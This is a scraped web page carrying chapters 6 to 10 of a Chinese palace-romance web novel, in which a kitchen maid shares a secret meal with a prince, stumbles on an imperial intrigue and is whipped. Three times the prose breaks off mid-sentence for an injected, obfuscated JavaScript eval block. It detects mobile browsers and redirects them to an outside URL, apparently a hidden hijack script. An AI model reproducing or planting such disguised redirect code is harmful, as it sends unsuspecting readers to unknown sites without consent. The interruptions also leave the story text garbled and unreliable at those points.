皇帝得知他生病,甚是忧心,令他于府中歇息半月,不必上朝,只在府中办公。 明日厨房才开火,除了去拿饭,慧娘一直待在寝屋没出去,她从小桃那里听说了赫连晔旧疾复发的事,不禁在心里暗暗想:他怕不是遭了天谴? 真是自作自受,谁叫他受了重伤却非要喝酒。 “我听说还有很多大大小小的官员前来探病,他们坐着豪华的马车,抬着堆积如山的礼品,可惜那些礼品都被王爷回绝了。” 可惜么?或许那些礼品都出自于民脂民膏。不知怎的,自从昨夜见到赫连晔之后,她好像变得有些仇视权贵了…… 小桃正说得热火朝天时,王二娘找了过来,把慧娘叫了出去,说自己有事要忙,抽不开身子,让她帮忙去送些东西,去的地方不远,就在本坊里,叫庄大绸缎铺。 慧娘答应了,王二娘把几个用绳子捆住的纸包交给她,告诉她路怎么走,她在心里默默记着。 王二娘走后,慧娘回屋告诉小桃此事,便出门去了。 慧娘花了约摸两刻钟的功夫,行至庄大绸缎铺,一进门,便看到一平头正脸,约摸三十多岁的妇人倚着柜台,百无聊赖地磕着瓜子。 看见慧娘,她立刻将身一正,面露喜色。慧娘连忙自报是替王二娘送东西来的,她眉眼的喜色加深,“哎呦,她怎不亲自来?”她撇了瓜子,用帕子擦了擦手,走出来。 “舅母有事要忙,抽不开身。”慧娘见铺里一个客人都没有,心里有些奇怪。 “原来二娘是你的舅母啊,我听她说起过你。”她接过慧娘递来的东西,笑嘻嘻地拉起她的手,如见旧友,甚是热情:“这两日没什么客人来,不是去扫墓祭祖,便是如踏青游玩了。劳你专门跑一趟,喝完茶再走吧。” 慧娘其实不习惯与不熟悉的人来往,与小桃她们同住一屋檐下,日日相处,方熟悉了几分,而对于第一次见面便对她十分热络的人,她总是不由自主地心生防备,她忙找了一个还有事要做的借口,婉拒了她的好意。 宋翠翠从王二娘听说过慧娘,知她性子孤僻,不喜与人说话,看她不自在,也就没勉强她留下来喝茶。 慧娘从绸缎铺出来,往回走时,忽然看到街上行人中有一熟悉身影,她心猛地一咯噔,下意识地便往旁边卖纸马蜡烛的摊子前躲了下,探头去看,恰好那人扭头看了眼从他身旁走过,打扮鲜亮的女郎。 看到他的正脸,慧娘心都差点吓得跳出了体外,脑子咚咚好像有人捶打着她。 怎么会是李元良?他不是被下了大牢? 7. 第 7 章 回王府的一路,慧娘都有些心不在焉,她很怕李元良找到她,将她带回去,她从此又要过回地狱般的日子。 王府的大门口还是热闹,门前停了一辆豪华奢丽的轿子,仆人抬着箱子有条不紊地往里走,不是说王爷不收礼么? 慧娘虽有些疑惑,但也不去多想,收回目光,往左侧的小门而去。 “姐姐!” 一声娇脆的呼唤传过来,慧娘扭头看过去,见凤仪从轿子的窗子探出脑袋,兴奋地看着她。 慧娘有些惊讶,还没做出反应,她已经缩回脑袋,然后从轿子里飞一般出来。她穿着杏黄色的绫裙,浅碧色夹衫,头上步摇随着她的小跑晃晃荡荡,就像是只活泼好动的黄莺儿。 “姐姐,又见面了,你我真是有缘。”凤仪冲着她眨眨眼,笑盈盈道。 慧娘看到她脸上灿烂如花的笑容,内心阴霾忽然间一扫而空,她点了点头,唇角不觉浮起丝淡淡的笑意。 “上次我本想去厨房找你玩的,可底下的人说厨房不开火,你得了假,不知去了哪里。”凤仪红唇一噘,抱怨道。 慧娘不知道要回什么,还是笑了笑。 凤仪自顾自地说:“不过我觉得来王府住些日子,我把东西都抬过来了,往后我们可以日日见面。” 慧娘内心有些诧异,据小桃说,王爷之所以不让她来府里居住,一是怕影响她的声誉,二则是怕她看到其他姑娘受宠拈酸吃醋。 她要来府里住,王爷同意了么?她内心虽有此疑惑,但又不好过问。 “我还没把这件事告诉楚王哥哥呢。我打算现在去他院里一趟,姐姐,你与我一起去吧,正好我帮你某一个更好的差事,我听我的丫鬟香芝说,烧火这活儿又苦又累,又伤肌肤,你不能再做了。” 她漆黑晶亮的眼眸满是天真浪漫,慧娘看得入迷,还没来得及拒绝,就被她挽着手臂,往大门口走去。 慧娘大吃一惊,忙抓住她的手臂,“凤仪小姐,我这身份不能够走正门进去的。还有您的好意我心领了,就不麻烦您了。” 慧娘倒不是很喜欢烧火这活儿,也不是不想换个更好的差事,只是她觉着赫连晔好像对她有了误会,认为她故意接近凤仪小姐,心怀叵测。 若凤仪小姐真在他面前替她谋了好差事,到时只怕会加深王爷对她的误会,还有可能会影响他们二人的情谊。 “小姐,东西都搬完了。”小丫鬟走过来禀报。 “好。” “凤仪小姐,我还有活要做,我先走了。”慧娘说罢将自己的手臂抽回,快步而去。 凤仪只是一晃神的功夫就被她溜走了,心中郁闷,气呼呼地一跺脚。 “小姐,怎么了?”小丫鬟见状担忧地问。 凤仪瞪了她一眼,“都怪你与我说话,害得人跑了。”说着又愤懑地跺了跺脚。怎么会有人那么傻的呢?有好处都不要,真是叫人看不下去。 慧娘回住处的途中,一连叹了好几次气,她既忧心自己的事,也替凤仪忧心,府里有锦瑟姑娘和姜桃姑娘在,但愿她不会受欺负。 * * * 是夜,慧娘悄然从床上爬起,披上衣服,推开屋门,往茅房的方向而去。 她傍晚吃了干粮,噎得慌,喝了很多水,一到夜里就想放水。 今夜天气甚好,月明如昼,星子漫天,无需擎灯。到了茅房,放了水,她正准备回屋继续睡。一阵清凉的夜风吹来,带着一阵烤肉的香气。 慧娘肚子不由咕噜叫了几声。自从来了王府后,一日三餐顿顿饱,她的胃都有些娇贵起来,吃了两日冷食便觉得难受起来,这会儿闻到那股肉香味,瞬间把馋虫都唤了出来。 她舔了舔唇,又想起来明日厨房方能开火。是哪里传来的烤肉味? 她环顾四周,树影重重,虫吟唧唧,忽听一阵窸窣声,从她前面的洞门内传过来,她内心一悚,可又忍不住悄然地走过去,想看看是怎么回事。 进了洞门,行了没多久,忽地记起来之前弄影便是带着她从那边去往赫连晔的住处,再往前便是一个荒园,隐约看到有火光。 是谁胆敢在王府里烤肉?慧娘有些惊讶,不敢再往前。这种事与她无关,她还是别管了,于是转身就要离去,走了没几步,忽见前面有一条修长的身影。 她往前,那影子也向前,可身后却悄无声息,她……她不会是撞鬼了吧?慧娘身体僵硬,毛骨悚然,她张了张口,突然一只手蓦然伸过来,捂住了她的嘴巴。 她伸手挣扎,手顷刻间也被牢牢地钳制住,随后被反剪在身后,一股淡淡馨香夹杂着木柴燃烧过的气息忽飘入她的鼻子里,耳畔传来热喷喷的低语:“别出声。” 慧娘听出了他的声音,愣住,好一会儿才回过神,嘴巴被捂着,无法言语只能点了下头。 身后的人松了手,慧娘回头看他。 月光流泻下来,映着那张昳丽的脸愈发柔美。慧娘视线一低,看到他松散的衣领以及一片白皙精致的锁骨,像是被烫了一下,忙挪开目光。 她是不是坏了他的事……她心中忐忑不安,这时肚子忽然不争气地又响了一下,声音不大,不知道他有没有听见,她脸一阵燥热,感到十分难为情。 慧娘以为他会斥责她,可他却什么没说,转身离去。她怔在原地,不知所措,直至他回眸淡淡地瞥了她一眼,似有让她跟上的意思。 慧娘想了想,小心翼翼地跟上去,见他继续走,心里惴惴不安起来,唇上似乎遗留着他掌心的触感,她内心有些不自在,不由伸手擦了擦嘴。 须臾,慧娘总算知晓了方才那股烤肉味的来源,古槐树下生着火,过上用棍子架着火架着只鸡…… 鸡已烤得金黄,散发着阵阵肉香,慧娘匪夷所思的同时,忍不住咽了咽口水。 看到赫连晔动作优雅地往火堆里扔块枯树枝,她想或许是她见识短浅了些,她从来没有与赫连晔这种养尊处优的人相处过,以为他们十指不沾阳春水,做什么都是使唤奴仆。莫说生火,只怕连厨房长什么样子都不知晓。 但烤鸡这种事……慧娘实在无法将它与眼前这男人联系在一起,尤其瞥见他那双玉白修长的手沾上尘埃,更觉违和。 慧娘觉得此时不能够把他当高高在上的王爷看,就当做是那天雨夜受了重伤倒地昏迷,后又闯到她家里,在她床上睡了一夜的虚弱男人。 今夜之事以及那两次发生的事她必须守口如瓶,一个字也不能向人透露。 赫连晔一腿曲起,靠坐在古槐树下,闭目养神。 慧娘轻手轻脚地坐下,直勾勾地盯着那烤鸡,“王爷,这烤鸡要翻面,不然底下该糊了。” 他一语不发,好似睡着了,他的脸隐于暗影之中,但仍能看得出精神不大好,慧娘得不到回应,喃喃自语:“我来翻面吧。” 慧娘小心翼翼地往他那边挪了挪身子,轻轻地转动木棍。 他既然让她留下,就应该会分她一点吧,她不能白吃他的,要多干点活,于是又往火堆添柴枝,又是去摘芭蕉叶,一刻也闲不下来,直到烤鸡散发着焦香气味,她两眼放光,期待地望向赫连晔:“王爷,鸡烤好了。” 赫连晔睁开双眸,仍旧懒洋洋的,他拿起一旁的匕首丢到她面前,慧娘会意,“王爷,您吃鸡腿吧。” 慧娘想过他或许不会回答自己,用了陈述的语气。怕他嫌弃自己手脏,她用芭蕉叶裹着鸡腿,用匕首小心翼翼地割下一条鸡腿。 烤肉香味愈发浓郁,令人禁不住想咽口水,慧娘抿着唇,将鸡腿递给他。看着他伸手接过,她松了一口气。 慧娘给自己切了鸡翅,迫不及待地咬了一口,热喷喷的肉香弥漫在口中,她忍不住满足地喟叹一声,而后偷看了眼赫连晔。 他吃相很优雅,不紧不慢,但一口却十分实在。她想,受伤的人要补身子,吃冷食不好,可他不能让人知晓他受了伤,所以只能半夜起来觅食…… 慧娘赶忙又切了一块,待他将那鸡腿吃得只剩骨头,把肉递过去:“王爷,这块不肥不瘦,最好吃了。慧娘自作主张道。 赫连晔不语,只接过默默地吃。往后慧娘切什么给他,他便吃什么。 两人谁也再没说话,就这样你一块,我一块,竟几乎把整只鸡都吃完了,只留下一块鸡屁股,谁也不没碰。 月已西斜,树木间游荡着一层淡淡的薄雾,虫声唧唧,花香浮动。 吃饱之后,慧娘觉得很幸福,幸福得不觉打了一个饱嗝。 她愣了下,一扭头对上赫连晔投来的淡淡目光,脸一热,垂下眼眸有些难为情。 赫连晔没说什么,长身而起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153385|196469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 径自离去。 慧娘自觉把所有的痕迹抹去,才悄然回了住处,在天井让打了水洗净手脸,漱了口,才回屋继续睡。 她此时毫无睡意,想着她竟然和王爷跟做贼一般,在夜黑风高的荒荒园里偷吃烤鸡,只觉很匪夷所思,仿佛做梦一般。她揉了揉饱胀的肚子,笑想,就当做是一场梦吧,反正这事得跟着那烤鸡一样埋进肚子里,绝不能向任何人透露分毫。 五更天慧娘从起床爬起,匆匆洗漱一番,便去了厨房,听到有人在吵嚷,说是不见了一只鸡,不知晓被谁偷了去。 慧娘听得心咯噔一跳,怀疑那只丢失的鸡就是她昨晚吃的那只,看见田芳时,她心虚地低下头,根本不敢与她直视。 “兴许是黄鼠狼叼走了,今晚找只猫守着吧。”没办法,田芳只能这么吩咐。 慧娘见她没有追究到底,心头大石落下,朝食过后,她正准备回屋歇息片刻,便迎面撞见了弄影。 弄影二话不说就要她随她走。 慧娘也不敢问是什么事,默默地跟着她去了。 慧娘被带到了赫连晔的寝居。 屋里只有靠坐在床上,脸色苍白的赫连晔和正端着药碗要给他喂药的凤仪。 看到慧娘,凤仪立刻放下药碗,笑吟吟地上前挽住她的手臂,“可算是找到你了,姐姐,我忘记你的名字了。” 慧娘小声回:“慧娘,我叫慧娘。”言罢不安地看了眼床上的人,他神情一如既往的淡漠,看着不是他找的她。 是凤仪小姐叫她过来的吧? “这次我一定记住。”凤仪很认真地保证,随后看向赫连晔,“楚王哥哥,就让她去我那屋里陪我吧。” “随你。”赫连晔开口了,他一扯唇角,笑容无奈又带着些许纵容。 凤仪立刻欢呼一声。 简单的两字决定了也慧娘的去处,也没人理会她的想法。慧娘心中叹了一口气,她不知道自己能陪她做什么,她话少无趣,根本不会哄人开心。 “姐姐,你先等我一会儿。”凤仪回到床边坐下,端起药,“良药苦口,你千万别因为怕苦而不肯吃药啊。”说着舀了一勺,递到赫连晔嘴边,“快点喝,药已经凉了。” 赫连晔额角一疼,捏住她纤细的手腕阻止,“不劳烦你,我自己喝。”他接过药,无需凤仪催促,将药一饮而尽,随后笑着将空了的药碗递给她看。 凤仪见他面色不改,不由有些诧异,“方才还死活不肯喝呢。”她眼珠子一转,笑嘻嘻道:“我知晓了,定是慧娘在,你怕丢了面子。” 慧娘听凤仪调侃他,立刻低下头,装聋作哑。 赫连晔没理会她的调侃,“你打算住到何时?” “先等你身子好转再说吧,我要亲自照顾你,别人照顾你我不放心。”她没说自己为什么不放心,只目光意味深长。 “只是小风寒罢了,无需人照顾。” 慧娘闻言不觉抬眸看了赫连晔一眼,他身后一靠,随手去拿旁边几玉碟上的蜜饯,却被凤仪伸手一拍。 慧娘的反应比赫连晔还大,她下意识地瑟缩了下,赫连晔则只是若无其事地收回了手。 “吃了糖,药效会减弱。还有,别忘了这几天也不能饮酒吃荤。我已经让人吩咐厨房了,给你做些清淡吃食。”凤仪仔细叮嘱道。 慧娘听了凤仪的话,总算明白了赫连晔昨夜为什么会出现在荒园里烤鸡,原来是凤仪小姐不给他吃荤。 他是担心她把这事告诉凤仪小姐,所以昨夜才拉她入伙吧……她竟又一次在无意中撞破了他的秘密。自己真的不会有危险么? 她内心忐忑不安,虽说她会守口如瓶,可要是她说梦话把这事捅漏出来如何是好? 这时,弄影突然走进来,禀报: “王爷,宫里那位来了。” 慧娘不知那位是指谁,只是觉得气氛陡然一变,有些沉闷。 慧娘看了看凤仪,她脸上娇俏的笑容不见了,取而代之的是严肃。她又看了看赫连晔,他神色不变,回眸看向凤仪,唇边带笑,眼眸却晦暗无比,“凤仪,你先回屋去。” 凤仪没说什么,起身默默离去。 慧娘紧随她身后,她对他们这些主子们的事情一无所知,只是隐隐感到气氛很是不对劲,便打起精神,小心谨慎起来。 8. 第 8 章 慧娘默默地跟在凤仪后头。 兴许是凤仪平日里总跟只欢快的黄雀儿一般,此刻她沉默不语的模样让慧娘感到不适应,愈发局促起来。 穿过回廊,看到非烟与三人迎面走来。 为首的是位年轻男子,穿着玄色锦袍,腰系十三銙金玉带,金冠束发,龙行虎步气势逼人,一看就知身份不简单。 经过他身旁时,凤仪恭恭敬敬地向他行了一礼,慧娘见状赶忙跟着行礼,她没学过正统礼仪,学的有些不伦不类,好在一个高高在上的贵人根本不会去留意一个烧火婢女。 那男子只是冲着凤仪一点头,便走了,连停也没停,显然是没把她放在眼里的。 凤仪行至回廊尽头,忽然停下脚步,面色略有迟疑后回身往回走。慧娘以为她忘了什么事,只能跟上,但到了门口近处,她却又停下步伐,左顾右看,怕被人看到似的。 见四下无人,她绕过墙拐角,往后头去了。慧娘不知晓她意欲何为,只能跟上。走了没几步,凤仪忽然回头与自己的小丫鬟香芝道: “你笨手笨脚的,还是留下来帮我和慧姐姐把风吧,有人来立刻去通知我们。” 小丫鬟不明所以,但还是点点头,一脸紧张兮兮的模样。 凤仪挽住慧娘的手臂,慧娘同样一头雾水,她能感觉挽着她手臂的那只手在轻轻颤抖着,很明显也十分紧张。 慧娘受她影响,心扑通扑通乱跳不止,凤仪还凑到耳边小声道:“慧姐姐,我很信任你,今日之事你一定要保密呦。” 慧娘并不知道她要偷摸行事,此刻闻言莫名有种上了贼船下不来的感觉,无法拒绝她,只能慎重地点点头,“我一定保密。” 屋后的窗子敞开着,凤仪放开慧娘,轻手轻脚地走过去,往里偷看。 慧娘站在原地,不敢贸然过去,脸上皱巴巴的,很担忧凤仪被发现。 屋内静悄无声。赫连晔仍旧靠坐在床上,罗帐半掩,里面似乎有人影晃动,凤仪目光掠过床下,地上放着两双鞋。 一阵轻声细语忽传进她耳中,“陛下政事繁忙,何必亲自过来。” 里面的人影半撑起身,露出一张英俊刚毅的面庞,凤仪看见了并不意外,只是黛眉禁不住深深蹙起。比起方才他在她面前尊贵威严的模样,此刻的他称得上是温和软款。 “别人照顾你,朕不放心。”他声音低沉,大手穿梭在赫连晔松挽的乌黑柔顺长发,眼里着隐隐的享受,又忽然携起一缕,唇轻轻地贴了上去。 凤仪不由得惊‘呵’了一声,紧接着忙捂住嘴。然而里面的两人都是十分警醒敏锐之人。 “窗外何人!”皇帝呵斥道。 慧娘心中一惊,还没有做出反应,凤仪就冲过来拉起她的手,一言不发就跑。小丫鬟香芝见二人跑过来,不明所以,也跟着跑。 “站住!” 身后传来一道低沉声音,充斥着令人胆战心惊的威严。 凤仪脚步一顿,她放开慧娘的手,心慌意乱地回过神,看向立于门口那高大威武却面色阴沉的男人。 * * * 慧娘什么也没做,但最终还是跟着凤仪一起被带到了屋中,她心中惶恐不安,不知道等待自己的将会是什么。 那个陌生的男人太可怕了,别人都说她们王爷在朝中权势滔天,那比他气焰还要大的便只有…… 慧娘心肝在发颤,将头埋得更低,根本不敢去想这件事了。 “我一身作事一身当,楚王哥哥你别怪其他人。”凤仪像是犯了错事一般小心翼翼地看向坐在罗汉床上,面色苍白、神情晦暗的赫连晔。 “一身作事一身当?许久不见,凤仪小姐的嘴巴倒是变得油滑了,把偷偷摸摸的事说得那样光明磊落,慷慨大义。”天威不可冒犯,她今日冒犯了他,原本就对她没好感的皇帝此时说话也没了往日的客气。 这样的言语对一个闺中女子而言无疑极为伤脸面且有碍名声的,若是面皮薄一些的,只怕都要去寻短见了,不过凤仪既然做了那样的事,便不会怕这样的言语中伤。 “我不曾做偷偷摸摸的事,我只是去赏花而已。”凤仪辩解道。 “既是赏花,为何要心虚逃跑?” 皇帝眉眼锋利,看人时宛如刀光射来。 凤仪到底年纪小,承受不住他那样慑人的目光,她将头一低,“是您说话的声音太大,我害怕。” 皇帝见她一味狡辩,本欲发火,旁边的赫连晔忽然轻咳了几声,转头看过去,见他手抵着唇,那只手莹白如玉,映着他憔悴疲惫的面容都多了几分楚楚动人之姿,心神一动,怒火稍退。 “凤仪小姐一向端庄持重,今日失了体统,想是与底下人厮混在一起,受了其调唆。”皇帝语气有所和缓,目光落向站在她身后的慧娘。 凤仪明白他是要给赫连晔面子,把罪责推到慧娘身上,忙开口解释:“我没有被人挑唆,这件事与慧姐姐无关。” 皇帝目光一沉,又仔细打量了慧娘一眼,冷笑:“这婢女模样衣着都甚是粗鄙,想必是府里打杂的丫鬟,你一个小姐,却管她叫姐姐,也不知晓是怎么被她怎么哄骗的。” 慧娘闻言愕然,虽觉冤枉却无法辩解,凤仪小姐如此维护她,她不能出卖她,况且她不傻,知道他不需要真相,只是需要一个能够替凤仪小姐背锅的人。 偏偏凤仪小姐脾气刚烈,不肯让人替她背锅,她把希望寄于赫连晔身上,着急地恳求:“楚王哥哥,你倒是说一句话,慧姐……慧娘她不是那种搬弄是非的人。” 皇帝也看向赫连晔,指腹缓缓地摩挲着玉扳指,神情深沉莫测。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153386|196469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赫连晔对于凤仪的恳求不为所动,转而看向弄影,淡漠道:“拖出去鞭二十,让她长一下记性,以后谨言慎行。” 慧娘对这种结果并不是没有预料到,她没有求饶,脸上也没有恐惧之色,呈现在眼里的只有麻木呆滞。 皇帝留意到了她的神情,心中诧异,面对此种情况,磕头求饶、吓得瑟瑟发抖的下人他见得多了,慧娘这种乖乖认命的,却几乎不曾见过,但惊讶也只有一瞬间,他从不会将心思浪费在一个卑微如蝼蚁一般的人身上。 凤仪哭丧着小脸就要凑到赫连晔身边求情,却被他冷声打断:“凤仪,你禁足三日。”言罢望着一旁侍立的非烟:“带凤仪小姐回屋,让人看着,不得踏出屋子半步。” “是。”非烟应了声,便扶住凤仪的手臂,暗暗使力,防止她挣脱,“凤仪小姐,请随奴婢回屋。” 凤仪摆脱不开,气出了眼泪。 “你倒是舍得禁她的足。”皇帝望着凤仪心不甘情不愿的背影,似笑非笑道。 赫连晔眉微皱:“她冒犯了陛下,禁她三日足已经是很轻的处罚了。” 皇帝叹了口气,“朕知晓你心疼她,便不与她计较了。” “多谢陛下。”赫连晔看向他,唇边浮起一淡淡笑容。 皇帝回以一笑,外头忽然传来鞭笞声,却未听任何哀叫或者告饶声,他这才想起来那丫鬟好像从头到尾一句话也没说过,一直低眉顺眼,他方才看了她几眼,却没记住她长什么模样,他不由望向门外,好奇地笑道:“那丫鬟不会是个哑巴吧?一声不吭的,倒是能忍。” “陛下这是对一粗使丫鬟生了兴趣?”赫连晔唇角微上扬,带着若有似无的嘲讽。 皇帝闻言顿感无趣,哼了声,随后收回的目光,不再关注外面动静。 * * * 慧娘受罚结束后被带到了一屋子里,却没有回原来的住处。 瘦瘦小小,唯唯诺诺的人,被鞭笞二十下,她却一丝不吭,如此能饮气吞声,让弄影惊讶的同时又心生几分怜悯。她以前大约过得真的很苦,所以才能忍受常人所不能忍之苦。 “王爷罚你二十鞭是在护你。若他不出声,等待你的将是更严厉的惩处,天威不可冒犯,先前冲撞过那位的人已经乱棍打死了,至少你……还活着。” 弄影虽是婢女,但她是赫连晔的心腹,连姜桃和锦瑟等人平日里见了她也要好声好气的,寻常丫鬟不会被她放在眼里,换做是其他人,这些话她断不会说的。 慧娘的表现让她有些在意,如此坚毅的女子为何要忍受丈夫常年的殴打,她为何不反抗? 换做是她,绝不会任人宰割,想到此不免有些哀其不幸,怒其不争。 后背仿佛火灼般疼痛不绝,慧娘努力打起精神道:“多谢王爷的恩德。” 9. 第 9 章 弄影愣了下,慧娘那句话虚弱无力,并没有带上任何情绪,但她莫名地觉得刺耳。 从怀里取出一瓶药放在床头,“这药涂在伤处,要不了几日伤口便无大碍了。”她淡声道,说完便不再多言。 慧娘有气无力地道了声谢。弄影起身欲离去,忽又想起什么,面色变得严肃: “记住,将你今日看到的事听到的话牢牢地藏在肚子里,一个字也不能向人透露,这是为你好。” 她并没有等慧娘回话,便转头走了。 慧娘对她的话感到迷茫,她当时什么都没看到,也什么都没听到,是什么事情要这般忌讳?她浑身疼得厉害,无法去细想这件事,方才她一直强行打起精神才没有让自己晕了过去。 弄影走后,慧娘连药也没力气去涂,任由自己浑浑噩噩地睡了过去。 再次醒来,是被耳边传来的低低抽泣声惊醒的,她头趴在枕上,眼睛睁开些许,看到凤仪的小丫鬟香芝坐在床沿一边哭一边抬手抹眼泪。 “你怎么来了?凤仪小姐呢?”慧娘的声音有些发哑发干,浑身仿佛置身于火中烤着,一动身子便疼得厉害。 香芝哽咽着道:“是小姐派我来看你的,她被罚禁足,岀不了门。” 慧娘见她哭得难过,想说点什么话来安慰,但嗓子里好像有什么东西堵着,头也晕沉沉的,一句话也想不出来。 好在香芝意识到不该在她面前哭泣,忙擦干眼泪道,“我给你带来了药,你还没涂药吧?” 慧娘摇了摇头,“弄影也给了药,还没抹上。” 香芝拿起床头的药看了看,“和小姐给的是一样的,我给你涂上,你这伤在后背,自己也抹不上。” 说着不等慧娘应声,就松了她的腰带,将衣服小心翼翼地往上扯,有的鞭伤已经皮开肉绽,鲜血黏着衣服,一经扯动,便令姑娘疼得身子直抽搐。 香芝不曾看到这样可怖的画面,手控制不住地颤抖,眼泪刷啦啦掉下来,滴在伤口上,宛如刀割一般,慧娘痛得呻.吟一声,额角冒出豆大的汗珠,嘴唇发白。 香芝吓得赶忙抬起袖子擦干眼泪,然后屏住呼吸,仔细地给她的伤口敷上药膏。 药膏清清凉凉,涂在伤口上,减少了些许灼痛感,慧娘眉间的褶皱稍稍舒展开。 “你这衣服不要穿上了吧,免得蹭上伤口,加重伤势。”香芝涂完她的伤口,将药放好,又道:“这会儿已是傍晚了,我给你带了吃的,你吃些?” 慧娘摇了摇头,虚弱道:“我现在吃不下,就放桌上吧,我待会儿吃。” 香芝见她昏昏欲睡,就没有勉强她,拉了被子盖住她的下半身,“我夜里再来给你换药。”言罢便轻手轻脚地离开了房间。 夕阳彻底没入山头,晚霞敛尽最后一抹光辉,夜幕降临了。屋内已经黑漆漆一片,唯闻床上不时响起一两声痛苦的呻.吟。 慧娘还在沉睡,她浑身烧得滚烫,衣服头发已经汗湿,如同从水里打捞出来的一般,她被困在了梦里,梦里是和李元良在一起的那一段时光。他赌输了所有的钱,又喝了酒,回来便拿她出气,他用脱下来的鞋抽打她,他骂她是不下蛋的母鸡,骂她是晦气命,连累他挣不到钱。 慧娘往外跑,却被他打趴在地上,他拖着她的腿往屋里走,她挣扎着向左邻右舍求救,却无人敢上前帮忙。 被拖拽到门口,慧娘死死地扒着门框,黑漆漆的屋子仿佛巨兽张开的大嘴,正待要将她一口吞没,内心的恐惧达到顶点,她不断地挣扎挥动双手,突然就握住了一只手。 那只手蓦然将她从黑暗中拽了出去。慧娘惊醒过来,眼前一片黑暗,惊魂甫定,才知是一场噩梦。 浑浑噩噩间,看到床头坐着一人,她吃力地抬眼,于黑暗中还是只能看到模糊不清的身形。 “是香芝么?”她脑子烧得迷糊,只隐约记得香芝说过夜里会来给她换药。 等了片刻,并没有听到回话。 慧娘耳朵也嗡嗡地响着,脑子里充满杂音,不知道是不是没听见香芝的话,于是又道了句:“劳你替我换药了。” 这时响起了衣服摩擦的窸窣声,紧接着好似有一只手伸来将她的衣服轻轻地向上撩起。 她睡觉时估计不大安稳,放上的衣服滑落了下去,又黏在了伤口上。 香芝的动作明显熟练了些,比之前更加轻柔小心,敷药的时候也没弄疼她。 冰冰凉凉的触感让她不由得闭眼喟叹一声,嘴里含糊不清地说了句:“谢谢……”言罢再次沉沉睡去。 慧娘这一觉睡到了日上三竿方醒,头还是晕沉沉的,浑身灼痛,但她感觉伤势并未加重,心中不觉感到庆幸。她果然命如野草,再受践踏,生命也十分顽强。 她嗓子干得发疼,勉强爬起来,系好裙带,拖着沉重的身子来到桌边坐下,拿起上面的茶壶给自己倒了杯水,一口气灌完,方觉舒坦些许。 桌上还放着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153387|196469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食盒,应该是昨天香芝拿来的,她还没动过,这会儿估计已经馊了,肚子饿得慌,正想着要不要将就吃一些,香芝便从外头走了进来。 “你可算是醒了。”香芝惊喜道,走到慧娘身旁,打开桌上食盒,“这吃食是今早拿过来的,昨天的我已经拿走了,你一口都没动,肚子都不饿的么?” 她将吃食一样样拿出来摆在慧娘面前。 慧娘昨晚出了一身汗,身上黏腻得很,想先洗漱一番,又不好意思麻烦她,便道:“外头有水井么?我想去洗一洗手脸。” 慧娘对这新的住处很陌生,昨日来时她疼得快要晕过去,根本分不出心神去留意周围环境。 香芝受了凤仪的叮嘱,要好好照顾她,加上知晓她这伤其实替自家小姐挨的,不免也有些惭愧,便十分殷勤,“你别折腾了,我去给你打盆水回来。”说着快步出去,很快便端着盥盆回来,拿了手巾沾了水拧得半干才递给慧娘。 慧娘接过,道了声谢,心里很是不安与拘谨。她并不习惯别人伺候自己。 香芝却突然开口道:“我昨夜说要给你换药,却不小心睡了过去,真是抱歉。今早过来本想帮你换药,但看你睡得熟,就没打搅你,待会儿你吃了早膳,我再帮你换药。” 慧娘正擦拭着脸,闻言动作一顿,香芝昨夜不是来了么,还给她换了药,难不成是梦? 可那梦也太真实了。 “小姐还在禁足,没法过来看你,但她很关心你,她在府里还是能说得上话的,你暂时先住在这屋里,不用回去与人挤一间屋子了,也不要想着去干活,好好养伤。”香芝自顾自地说完,见慧娘在发呆,也不知有没有听见她的话,便伸手在她面前晃了晃,“你在想什么呢?可有听见我说的话?” 慧娘回过神,忙点了点头,“听见了,替我谢谢小姐。”她当时神志不清,把梦当做现实也大有可能的。 慧娘吃了早膳,香芝帮她上过药后便回去了。 慧娘趴在床上继续养伤,她睡足了觉,这会儿已经睡不着,又做不了事情,就只能胡思乱想,她又想到了弄影昨日临走时与她说的那些话。 弄影似乎以为她和凤仪小姐一样都看到听到了什么。屋里当时应该只有王爷与皇帝二人,也许他们谈了一些不能够被外人知晓的重要公事,所以她才提醒她保守秘密。 慧娘庆幸自己什么也不知道,她的脑子里装了好几个秘密了,再装一个,她往后睡都睡不安稳了。 10. 第 10 章 午时,王二娘过来探望慧娘。 慧娘怕她担心,装作没事人的模样,面露笑容:“二娘,你怎么知晓我在这里?” 王二娘叮嘱过她在府里不要叫她舅母,慧娘便与旁人一样唤二娘。 王二娘看她俯趴在床上,脸色灰白憔悴,更觉心酸难受,内心不禁想自己是不是不应该将她带来王府做事。 “你别管我如何知晓的。你的伤怎样了?” 慧娘收起笑容,“您都知道了……” 